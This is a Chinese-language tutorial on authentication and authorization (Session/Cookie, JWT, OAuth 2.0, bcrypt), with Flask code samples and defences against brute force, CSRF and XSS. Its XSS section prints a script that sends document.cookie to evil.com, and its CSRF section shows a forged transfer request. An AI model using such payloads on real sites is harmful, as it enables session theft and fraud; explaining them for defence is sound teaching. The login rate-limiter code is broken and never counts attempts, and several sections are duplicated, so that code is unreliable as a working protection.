认证与授权体系
原始素材:
4-服务器与后端/4.10-auth-authorization.md
💡 学习指南 :本章节带你深入理解后端系统的"门禁系统"——鉴权与授权。我们将从最基础的"你是谁"讲起,一步步掌握 Session、JWT、OAuth2.0 等现代鉴权方案。
0. 引言:系统的"门禁"
你登录微信后,为什么关掉再打开还是登录状态? 你访问 B 站,为什么知道你是大会员还是普通用户? 你用微信扫码登录第三方网站,为什么不用输入密码?
这背后都有一个核心系统:鉴权与授权 (Authentication & Authorization)。
如果把后端系统比作一栋大楼:
- 鉴权 (Authentication) :确认"你是谁"(验证身份证/门禁卡)。
- 授权 (Authorization) :确认"你能去哪里"(VIP 能进 VIP 休息室,普通用户不行)。
0.1 为什么要鉴权?
只有一个理由:保护资源 。
- 隐私保护 :你的个人信息、聊天记录,只有你能看。
- 权限控制 :管理员可以删除用户,普通用户不行。
- 防止滥用 :防止恶意调用、刷接口。
关键点 :鉴权是第一道防线,所有敏感操作都必须先验证身份。
1. 基础概念:认证 vs 授权
1.1 认证 (Authentication):你是谁?
确认用户的身份。
- 例子 :输入用户名密码、刷指纹、人脸识别。
- 输出 :一个代表"你"的令牌(Token)。
- 英文简称 :AuthN
1.2 授权 (Authorization):你能干什么?
确认用户有哪些权限。
- 例子 :管理员可以删除文章,普通用户只能点赞。
- 输出 :允许或拒绝访问。
- 英文简称 :AuthZ
1.3 两者的关系
用户请求 → 认证 (你是谁?) → 授权 (你能做吗?) → 执行业务逻辑
↓ ↓
验证身份 检查权限
(Token 有效?) (有 delete 权限?)
Request: view_profile
AuthN: FAIL - 缺少有效凭证(cookie/JWT)
AuthZ: DENY - 认证未通过,无法做授权判断
Result: 401 Unauthorized
关键点
- 认证失败: 你是谁都不确定 → 通常返回 401。
- 认证通过但没权限: 你是谁确定了,但不能做 → 通常返回 403。
- 授权规则要在服务端: 别相信前端的“是否显示按钮”,那只是 UX。
关键点 :先认证,再授权。只有确认了"你是谁",才能判断"你能干什么"。
2. 方案演进史
2.1 第一代:HTTP Basic Authentication
最古老的方案,直接把用户名密码放在 HTTP 头里。
GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
(base64("username:password"))
- 优点 :简单,所有浏览器都支持。
- 缺点 :
- 不安全(Base64 可解码,相当于明文)。
- 每次请求都要传密码(容易被截获)。
- 无法主动注销(除非关闭浏览器)。
结论 :只适合内部测试工具,绝不用于生产环境。
2.2 第二代:Session + Cookie
Web 开发的经典方案。
流程 :
1. 用户登录 (POST /login)
→ 服务器验证用户名密码
→ 创建 Session(在服务器内存或 Redis)
→ 返回 Set-Cookie: session_id=abc123
2. 后续请求
→ 浏览器自动带上 Cookie: session_id=abc123
→ 服务器根据 session_id 查找 Session
→ 找到就认为"你是你"
代码示例 :
from flask import session, request
@app.route("/login", methods=["POST"])
def login():
username = request.json["username"]
password = request.json["password"]
# 验证用户名密码
user = db.authenticate(username, password)
if user:
# 创建 Session
session["user_id"] = user.id
session["role"] = user.role
return {"status": "success"}
else:
return {"error": "用户名或密码错误"}, 401
@app.route("/api/admin/users")
def get_users():
# 检查 Session
if "user_id" not in session:
return {"error": "未登录"}, 401
# 检查权限
if session.get("role") != "admin":
return {"error": "权限不足"}, 403
# 执行业务逻辑
users = db.get_all_users()
return {"users": users}
Cookie-Session 认证流程:浏览器(客户端)— Cookie Jar: 暂无 — Request → 服务器— Session Store (Redis/Memory): 暂无 — Response ←
| 维度 | 说明 |
|---|---|
| ✅ 优点 | 简单直观,易于理解;服务端可以主动注销(删除 Session) |
| ❌ 缺点 | 服务器有状态(需共享 Redis);跨域困难(Cookie CORS 问题);CSRF 攻击风险 |
| 🎯 结论 | 适合传统 Web 应用(服务端渲染),不适合移动端和现代 SPA |
2.3 第三代:Token (JWT)
现代 Web 的主流方案。
核心思想 :不在服务端存储状态,把用户信息加密成 Token,放在客户端。
JWT 结构 :
JWT = Header.Payload.Signature
例子:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
|--------------------------------| |-----------------------------------------------| |----------------------------|
Header Payload Signature
- Header :算法信息(如
{"alg": "HS256", "typ": "JWT"})。 - Payload :用户信息(如
{"user_id": 123, "role": "admin", "exp": 1616239022})。 - Signature :签名(防篡改)。
流程 :
@app.route("/login", methods=["POST"])
def login():
username = request.json["username"]
password = request.json["password"]
user = db.authenticate(username, password)
if user:
# 生成 JWT
token = jwt.encode(
{
"user_id": user.id,
"role": user.role,
"exp": datetime.now() + timedelta(hours=24) # 24 小时过期
},
SECRET_KEY,
algorithm="HS256"
)
return {"token": token}
else:
return {"error": "用户名或密码错误"}, 401
@app.route("/api/admin/users")
def get_users():
# 从 Header 获取 Token
auth_header = request.headers.get("Authorization")
if not auth_header or not auth_header.startswith("Bearer "):
return {"error": "未提供 Token"}, 401
token = auth_header.split(" ")[1]
try:
# 验证并解析 Token
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
except jwt.ExpiredSignatureError:
return {"error": "Token 已过期"}, 401
except jwt.InvalidTokenError:
return {"error": "Token 无效"}, 401
# 检查权限
if payload.get("role") != "admin":
return {"error": "权限不足"}, 403
# 执行业务逻辑
users = db.get_all_users()
return {"users": users}
用户声明(Payload 示例)
{
"user_id": 123,
"username": "alice",
"role": "admin",
"iat": 1781661303,
"exp": 1781664903
}
注意:JWT 的 payload 只是 Base64Url 编码,任何人都能解码,所以不要放密码、手机号等敏感数据。
2.4 JWT 的结构
JWT Token 由三部分组成,用英文句号(.)分隔:
Header.Payload.Signature
| 部分 | 说明 | 示例 |
|---|---|---|
| Header | 算法和类型信息 | {"alg": "HS256", "typ": "JWT"} |
| Payload | 用户数据(Base64Url 编码) | {"user_id": 123, "role": "admin"} |
| Signature | 签名,确保未被篡改 | HMACSHA256(...) |
JWT 的优点
- ✅ 无状态:服务端不存储 Session,易于横向扩展
- ✅ 跨域友好:放在 Header,不受 Cookie 限制
- ✅ 移动端友好:原生 App 无需 Cookie
- ✅ 信息丰富:Payload 可存用户信息、权限
JWT 的缺点
- ❌ 无法主动注销:过期前一直有效
- ❌ Payload 可见:Base64 编码,任何人能解码
- ❌ Token 体积大:每次都要传输
结论:现代 Web、移动端、微服务的标准方案。
Session + Cookie
传统 Web 的最稳妥方案
为什么
- 同域 Web + 需要“立刻注销/踢下线” → Session 更直观可控。
- 多实例时用 Redis 等共享 Session 存储即可。
落地建议
- Cookie: HttpOnly + Secure + SameSite=Lax/Strict(视业务)
- CSRF:SameSite + CSRF Token(双重保险)
- Session Store:Redis + TTL + 续期策略(滑动过期)
常见误区
- JWT ≠ 更安全: JWT 只是“无状态”。安全取决于密钥、过期策略、存储方式、授权设计。
- Cookie ≠ 一定 CSRF: SameSite + CSRF token 可以显著降低风险。
- 别把第三方 OAuth token 当你系统 token: 用途不同。
3. OAuth 2.0:第三方登录
你肯定见过这个按钮:"使用微信登录"、"使用 Google 登录"。
这就是 OAuth 2.0 :一个授权 框架(不是认证!)。
3.1 核心角色
| 角色 | 说明 | 例子 |
|---|---|---|
| Resource Owner | 资源所有者(用户) | 你 |
| Client | 第三方应用 | 某个网站 |
| Authorization Server | 授权服务器 | 微信、Google |
| Resource Server | 资源服务器 | 微信的用户信息 API |
3.2 授权码模式 (Authorization Code Flow)
最安全的模式,适合有后端的服务器。
流程 :
→ 跳转到微信授权页面
https://open.weixin.qq.com/connect/qrconnect?
appid=APPID&
redirect_uri=https://yourapp.com/callback&
response_type=code&
scope=snsapi_login&
state=STATE
2. 用户扫码并同意授权
→ 微信重定向回你的网站
https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE
3. 你的后端用 code 换取 access_token
POST https://api.weixin.qq.com/sns/oauth2/access_token
{
"appid": "APPID",
"secret": "SECRET",
"code": "AUTHORIZATION_CODE",
"grant_type": "authorization_code"
}
→ 返回: { "access_token": "...", "openid": "..." }
4. 用 access_token 获取用户信息
GET https://api.weixin.qq.com/sns/userinfo?
access_token=ACCESS_TOKEN&
openid=OPENID
→ 返回: { "nickname": "张三", "headimgurl": "..." }
OAuth2 Authorization Code Flow(建议配合 PKCE):
| 角色 | 说明 |
|---|---|
| Client(你的应用) | 发起授权请求,不接触用户密码 |
| Authorization Server(微信/Google 等) | 验证用户身份,颁发授权码/令牌 |
| Resource Server(你的 API) | 持有受保护资源,验证令牌后提供数据 |
OAuth2 的核心:你的应用不再保存用户在第三方的密码,而是拿到授权码/令牌后去换取用户信息。以下示例请求可照抄,将
client_id/redirect_uri替换成你自己的参数。
你真正需要记住的 4 件事
- redirect_uri 必须白名单: 避免被人把 code 劫持到自己的站。
- state 必须校验: 防 CSRF(登录也会被 CSRF)。
- code 只能用一次且很快过期: 泄露影响有限。
- access token 要短 + refresh token 要保护: refresh token 更像“长期钥匙”。
代码示例 :
from flask import request, redirect
@app.route("/login/wechat")
def login_wechat():
# 1. 重定向到微信授权页面
auth_url = (
"https://open.weixin.qq.com/connect/qrconnect"
f"?appid={APPID}"
f"&redirect_uri={urlencode(REDIRECT_URI)}"
"&response_type=code"
"&scope=snsapi_login"
f"&state={generate_state()}"
)
return redirect(auth_url)
@app.route("/callback")
def wechat_callback():
# 2. 获取 code
code = request.args.get("code")
state = request.args.get("state")
# 验证 state(防 CSRF)
if not verify_state(state):
return {"error": "Invalid state"}, 400
# 3. 用 code 换取 access_token
token_resp = requests.post(
"https://api.weixin.qq.com/sns/oauth2/access_token",
params={
"appid": APPID,
"secret": SECRET,
"code": code,
"grant_type": "authorization_code"
}
).json()
access_token = token_resp["access_token"]
openid = token_resp["openid"]
# 4. 获取用户信息
user_info = requests.get(
"https://api.weixin.qq.com/sns/userinfo",
params={
"access_token": access_token,
"openid": openid
}
).json()
# 5. 本地创建或更新用户
user = db.get_or_create_user(
openid=openid,
nickname=user_info["nickname"],
avatar=user_info["headimgurl"]
)
# 6. 生成本系统的 JWT
token = jwt.encode(
{"user_id": user.id, "exp": ...},
SECRET_KEY
)
return {"token": token}
关键点 :
- code 只能用一次 :用完即失效,防止截获。
- state 防 CSRF :生成随机字符串,回调时验证,防止恶意网站伪造。
- redirect_uri 必须匹配 :提前在微信开放平台注册,防止重定向攻击。
3.3 其他模式
| 模式 | 适用场景 | 安全性 |
|---|---|---|
| 授权码模式 | 有后端的服务器 | ⭐⭐⭐⭐⭐ |
| 简化模式 (Implicit) | 纯前端应用(SPA) | ⭐⭐⭐(不推荐) |
| 密码模式 (Resource Owner) | 高度信任的应用(如官方 App) | ⭐⭐ |
| 客户端模式 (Client Credentials) | 服务器间通信(无用户) | ⭐⭐⭐⭐ |
OAuth2 Authorization Code Flow(建议配合 PKCE):
| 角色 | 说明 |
|---|---|
| Client(你的应用) | 发起授权请求,不接触用户密码 |
| Authorization Server(微信/Google 等) | 验证用户身份,颁发授权码/令牌 |
| Resource Server(你的 API) | 持有受保护资源,验证令牌后提供数据 |
OAuth2 的核心:你的应用不再保存用户在第三方的密码,而是拿到授权码/令牌后去换取用户信息。以下示例请求可照抄,将
client_id/redirect_uri替换成你自己的参数。
你真正需要记住的 4 件事
- redirect_uri 必须白名单: 避免被人把 code 劫持到自己的站。
- state 必须校验: 防 CSRF(登录也会被 CSRF)。
- code 只能用一次且很快过期: 泄露影响有限。
- access token 要短 + refresh token 要保护: refresh token 更像“长期钥匙”。
4. 实战:设计一个完整的鉴权系统
4.1 需求分析
- 多端支持 :Web、iOS、Android。
- 第三方登录 :微信、Google。
- 权限控制 :普通用户、VIP、管理员。
- 安全 :防刷、防劫持、防重放。
4.2 架构设计
┌─────────────┐
│ 客户端 │
└──────┬──────┘
│
▼
┌─────────────────────────────────┐
│ API Gateway │
│ - Rate Limiting (限流) │
│ - Token Validation (校验) │
└──────┬──────────────────────────┘
│
▼
┌─────────────────────────────────┐
│ Auth Service (鉴权服务) │
│ - 注册、登录 │
│ - Token 签发与验证 │
│ - OAuth 2.0 集成 │
└──────┬──────────────────────────┘
│
▼
┌─────────────────────────────────┐
│ Business Services │
│ - User Service │
│ - Order Service │
│ - Payment Service │
└─────────────────────────────────┘
4.3 数据库设计
-- 用户表
CREATE TABLE users (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) UNIQUE NOT NULL,
password_hash VARCHAR(255) NOT NULL, -- bcrypt 哈希
email VARCHAR(100) UNIQUE,
role ENUM('user', 'vip', 'admin') DEFAULT 'user',
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
INDEX idx_username (username),
INDEX idx_email (email)
);
-- 第三方登录绑定表
CREATE TABLE user_auth_providers (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
user_id BIGINT NOT NULL,
provider ENUM('wechat', 'google', 'github') NOT NULL,
provider_user_id VARCHAR(100) NOT NULL, -- 第三方的用户 ID
access_token TEXT, -- 加密存储
refresh_token TEXT,
expires_at TIMESTAMP,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);
-- Token 黑名单(用于主动注销)
CREATE TABLE token_blacklist (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
token_jti VARCHAR(100) UNIQUE NOT NULL, -- JWT 的 JTI (唯一标识)
expired_at TIMESTAMP NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
INDEX idx_expired_at (expired_at)
);
4.4 代码实现
import bcrypt
import jwt
from datetime import datetime, timedelta
SECRET_KEY = "your-secret-key-here" # 生产环境用环境变量
class AuthService:
def register(self, username: str, password: str, email: str = None):
# 1. 检查用户名是否存在
if db.get_user_by_username(username):
raise ValueError("用户名已存在")
# 2. 哈希密码(bcrypt)
password_hash = bcrypt.hashpw(
password.encode('utf-8'),
bcrypt.gensalt(rounds=12)
).decode('utf-8')
# 3. 创建用户
user = db.create_user(
username=username,
password_hash=password_hash,
email=email
)
# 4. 签发 Token
return self._generate_tokens(user)
def login(self, username: str, password: str):
# 1. 查询用户
user = db.get_user_by_username(username)
if not user:
raise ValueError("用户名或密码错误")
# 2. 验证密码
if not bcrypt.checkpw(
password.encode('utf-8'),
user.password_hash.encode('utf-8')
):
raise ValueError("用户名或密码错误")
# 3. 签发 Token
return self._generate_tokens(user)
def _generate_tokens(self, user):
now = datetime.now()
# Access Token (短期,如 1 小时)
access_token = jwt.encode(
{
"user_id": user.id,
"role": user.role,
"type": "access",
"iat": now,
"exp": now + timedelta(hours=1),
"jti": str(uuid4()) # 唯一标识
},
SECRET_KEY,
algorithm="HS256"
)
# Refresh Token (长期,如 30 天)
refresh_token = jwt.encode(
{
"user_id": user.id,
"type": "refresh",
"iat": now,
"exp": now + timedelta(days=30),
"jti": str(uuid4())
},
SECRET_KEY,
algorithm="HS256"
)
return {
"access_token": access_token,
"refresh_token": refresh_token,
"token_type": "Bearer",
"expires_in": 3600 # access_token 过期时间(秒)
}
def refresh(self, refresh_token: str):
try:
payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
if payload.get("type") != "refresh":
raise ValueError("Invalid token type")
user = db.get_user_by_id(payload["user_id"])
return self._generate_tokens(user)
except jwt.ExpiredSignatureError:
raise ValueError("Refresh token 已过期")
except jwt.InvalidTokenError:
raise ValueError("Refresh token 无效")
def logout(self, token: str):
# 将 Token 加入黑名单
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
db.add_to_blacklist(
jti=payload["jti"],
expired_at=datetime.fromtimestamp(payload["exp"])
)
def verify_token(self, token: str):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
# 检查是否在黑名单中
if db.is_token_blacklisted(payload["jti"]):
raise ValueError("Token 已注销")
return payload
except jwt.ExpiredSignatureError:
raise ValueError("Token 已过期")
except jwt.InvalidTokenError:
raise ValueError("Token 无效")
def require_auth(auth_service: AuthService):
def decorator(f):
def wrapper(*args, **kwargs):
# 从 Header 获取 Token
auth_header = request.headers.get("Authorization")
if not auth_header or not auth_header.startswith("Bearer "):
return {"error": "未提供 Token"}, 401
token = auth_header.split(" ")[1]
try:
# 验证 Token
payload = auth_service.verify_token(token)
# 将用户信息注入到请求上下文
request.user = payload
return f(*args, **kwargs)
except ValueError as e:
return {"error": str(e)}, 401
return wrapper
return decorator
def require_role(*roles):
def decorator(f):
def wrapper(*args, **kwargs):
if not hasattr(request, "user"):
return {"error": "未登录"}, 401
if request.user["role"] not in roles:
return {"error": "权限不足"}, 403
return f(*args, **kwargs)
return wrapper
return decorator
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
users = db.get_all_users()
return {"users": users}
@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
user = db.get_user_by_id(request.user["user_id"])
return {"user": user}
@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
refresh_token = request.json.get("refresh_token")
try:
tokens = auth_service.refresh(refresh_token)
return tokens
except ValueError as e:
return {"error": str(e)}, 401
用户声明(Payload 示例)
{
"user_id": 123,
"username": "alice",
"role": "admin",
"iat": 1781661303,
"exp": 1781664903
}
注意:JWT 的 payload 只是 Base64Url 编码,任何人都能解码,所以不要放密码、手机号等敏感数据。
5. 安全最佳实践
5.1 密码存储
❌ 错误做法 :
db.save_password(username, password)
hash = md5(password)
db.save_password(username, hash)
✅ 正确做法 :
import bcrypt
password_hash = bcrypt.hashpw(
password.encode('utf-8'),
bcrypt.gensalt(rounds=12) # rounds 越大越安全,但也越慢
)
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
# 密码正确
为什么 bcrypt?
- 慢 :故意设计得很慢(毫秒级),防暴力破解。
- 自适应 :可以调整 rounds,随硬件变强而增强。
- 加盐 :自带随机盐,防彩虹表。
密码哈希演示:Algorithm: PBKDF2-SHA256 | iterations: 60000 | 启用盐 (salt) | 生成新盐
| 参数 | 说明 |
|---|---|
| 迭代次数 | 60000(越大越慢,暴力破解成本越高,但登录也更慢) |
| 盐 (salt) | 随机生成,每个用户独立 |
| 派生密钥 | 输入密码后由 PBKDF2-SHA256 计算得出 |
结论:不要存明文;不要用无盐的快速哈希(MD5/SHA1/SHA256 直接 hash)。应使用”专门的密码哈希/KDF(慢 + 盐)”,并设置合理成本。
盐的作用对比:同一密码 + 不同盐 = 不同哈希值 — salt A → hash A ≠ salt B → hash B
彩虹表依赖”预计算”:同一密码总产生同一哈希时,攻击者能快速反查。盐让预计算成本爆炸。
5.2 防暴力破解
- 限流 :同一个 IP / 用户名,1 分钟只能试 5 次。
- 验证码 :失败 3 次后要求输入验证码。
- 账号锁定 :失败 10 次后锁定账号 30 分钟。
from functools import lru_cache
import time
@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
"""返回 (尝试次数, 第一次尝试时间)"""
return (0, 0)
def check_rate_limit(identifier: str):
attempts, first_attempt = get_login_attempts(identifier)
now = time.time()
# 1 分钟内清零
if now - first_attempt > 60:
get_login_attempts.cache_clear()
return True
# 超过 5 次,拒绝
if attempts >= 5:
return False
return True
def record_login_attempt(identifier: str):
attempts, first_attempt = get_login_attempts(identifier)
if attempts == 0:
first_attempt = time.time()
get_login_attempts.cache_clear()
get_login_attempts(identifier) # 重新缓存
@app.route("/login", methods=["POST"])
def login():
username = request.json["username"]
# 检查限流
if not check_rate_limit(username):
return {"error": "尝试次数过多,请 1 分钟后再试"}, 429
password = request.json["password"]
# 验证密码
user = db.get_user_by_username(username)
if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
# 登录成功,清空计数
get_login_attempts.cache_clear()
return {"token": generate_token(user)}
else:
# 登录失败,记录
record_login_attempt(username)
return {"error": "用户名或密码错误"}, 401
5.3 防 CSRF (Cross-Site Request Forgery)
攻击场景 : 你登录了银行网站 bank.com,然后访问了恶意网站 evil.com。evil.com 的页面里有一段代码:
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />
你的浏览器会带上银行的 Cookie 发起这个请求(跨域请求),导致资金被转走。
防御措施 :
- CSRF Token :
- 服务端生成随机 Token,放在表单里。
- 提交时验证 Token 是否匹配。
from flask import session
@app.route("/api/transfer", methods=["POST"])
def transfer():
# 验证 CSRF Token
token = request.headers.get("X-CSRF-Token")
if token != session.get("csrf_token"):
return {"error": "CSRF Token 无效"}, 403
# 执行转账
...
- SameSite Cookie :
- 设置 Cookie 的
SameSite属性为Strict或Lax。
- 设置 Cookie 的
app.config.update(
SESSION_COOKIE_SAMESITE='Lax', # 或 'Strict'
SESSION_COOKIE_SECURE=True # 只允许 HTTPS
)
- 使用 JWT(不用 Cookie) :
- JWT 存在
localStorage,不会自动带上,天然防 CSRF。
- JWT 存在
| 防护手段 | 原理 | 推荐优先级 |
|---|---|---|
| SameSite Cookie | 设置 SameSite=Lax/Strict,阻止跨站请求携带 Cookie |
① 首选 |
| CSRF Token | 服务端生成随机 Token,放在表单/请求头中校验 | ② 最稳 |
| 双重提交 Cookie | Cookie + Header 同时带 token,服务端比较一致性 | ③ |
| JWT(不用 Cookie) | Token 存 localStorage,不自动发送,天然防 CSRF |
备选 |
注意:CSRF 主要针对”Cookie 自动携带”的场景。若你用
Authorization: Bearer(不自动发送),CSRF 风险会显著降低,但仍要考虑 XSS/Token 泄露等问题。
5.4 防 XSS (Cross-Site Scripting)
攻击场景 : 恶意用户在评论区输入:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
如果网站直接渲染这段内容,其他用户的 Cookie 就会被盗走。
防御措施 :
- 输出转义 :
- 把
<转成<,>转成>。
- 把
import html
def render_comment(comment):
# 转义 HTML
safe_comment = html.escape(comment)
return f"<div class='comment'>{safe_comment}</div>"
- Content Security Policy (CSP) :
- 设置 HTTP 头,限制脚本来源。
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
- HttpOnly Cookie :
- 设置 Cookie 的
HttpOnly属性,JavaScript 无法读取。
- 设置 Cookie 的
app.config.update(
SESSION_COOKIE_HTTPONLY=True
)
场景
假设你登录了 bank.com(Cookie 已存在)。你又打开了一个恶意网站 evil.com,它偷偷发起转账请求。
你的 Cookie(浏览器会自动带)
Cookie: session_id=abc123
本步请求
防护怎么选?(优先顺序)
- SameSite Cookie: 对大多数“跨站表单/图片”请求非常有效(Lax/Strict)。
- CSRF Token: 在表单/请求头里带 token,服务端校验(对复杂场景最稳)。
- 双重提交 Cookie: Cookie + Header 同时带 token(服务端比较一致性)。
注意
CSRF 主要针对“Cookie 自动携带”的场景。若你用 Authorization: Bearer(不自动发送),CSRF 风险会显著降低,但仍要考虑 XSS/Token 泄露等问题。
6. 总结与学习路线
鉴权是后端系统的"基本功",掌握了它才能构建安全可靠的应用。
6.1 核心知识点
| 知识点 | 重要程度 | 难度 | 实战频率 |
|---|---|---|---|
| Session + Cookie | ⭐⭐⭐⭐ | 中 | 高 |
| JWT | ⭐⭐⭐⭐⭐ | 低 | 极高 |
| OAuth 2.0 | ⭐⭐⭐⭐ | 高 | 高 |
| 密码哈希 (bcrypt) | ⭐⭐⭐⭐⭐ | 低 | 极高 |
| 限流与防暴力破解 | ⭐⭐⭐⭐⭐ | 中 | 极高 |
| CSRF 防御 | ⭐⭐⭐⭐ | 中 | 中 |
| XSS 防御 | ⭐⭐⭐⭐ | 低 | 高 |
6.2 学习路线
-
入门 (1-2 天):
- 理解认证 vs 授权。
- 掌握 Session + Cookie 的原理。
- 实现一个简单的登录注册功能。
-
进阶 (1 周):
- 学习 JWT 的原理和实现。
- 实现基于 JWT 的鉴权系统。
- 掌握密码哈希(bcrypt)。
-
实战 (2-4 周):
- 集成 OAuth 2.0(微信、Google 登录)。
- 实现限流、防暴力破解。
- 防御 CSRF、XSS 等常见攻击。
-
深入 (持续):
- 学习 RBAC(基于角色的访问控制)。
- 研究 SSO(单点登录)。
- 探索 Zero Trust Architecture(零信任架构)。
6.3 推荐资源
- 标准 :
- RFC 6749 (OAuth 2.0)
- RFC 7519 (JWT)
- 文章 :
- JWT.io: https://jwt.io/
- OAuth 2.0 简体中文版: https://oauth.net/2/
- 工具 :
- jwt.io (JWT 在线调试)
- Postman (API 测试)
7. 名词速查表 (Glossary)
| 名词 | 全称 | 解释 |
|---|---|---|
| AuthN | Authentication | 认证 。确认"你是谁"(如输入密码验证身份)。 |
| AuthZ | Authorization | 授权 。确认"你能干什么"(如管理员才能删除)。 |
| Session | - | 会话 。服务端存储的用户状态信息。 |
| Cookie | - | 小甜饼 。浏览器存储的小段数据,每次请求都会自动带上。 |
| JWT | JSON Web Token | JSON Web 令牌 。一种无状态的认证方案,包含 Header、Payload、Signature 三部分。 |
| OAuth 2.0 | - | 开放授权 。第三方登录的标准化框架(如"用微信登录")。 |
| SSO | Single Sign-On | 单点登录 。登录一次,就可以访问多个应用(如 Google 账号登录所有 Google 服务)。 |
| RBAC | Role-Based Access Control | 基于角色的访问控制 。根据用户的角色(如 admin、user)决定权限。 |
| CSRF | Cross-Site Request Forgery | 跨站请求伪造 。攻击者诱导用户发送恶意请求(如用你的 Cookie 发起转账)。 |
| XSS | Cross-Site Scripting | 跨站脚本攻击 。攻击者在网页注入恶意脚本(如盗取 Cookie)。 |
| bcrypt | - | 密码哈希算法 。一种慢哈希算法,专门用于密码存储,防暴力破解。 |
| Access Token | - | 访问令牌 。短期有效的令牌,用于访问 API。 |
| Refresh Token | - | 刷新令牌 。长期有效的令牌,用于获取新的 Access Token。 |
| Scope | - | 权限范围 。OAuth 2.0 中的概念,表示第三方应用请求的权限(如读取用户信息)。 |
| PKCE | Proof Key for Code Exchange | 授权码交换的证明密钥 。OAuth 2.0 的扩展,用于公共客户端(如 SPA)的安全增强。 |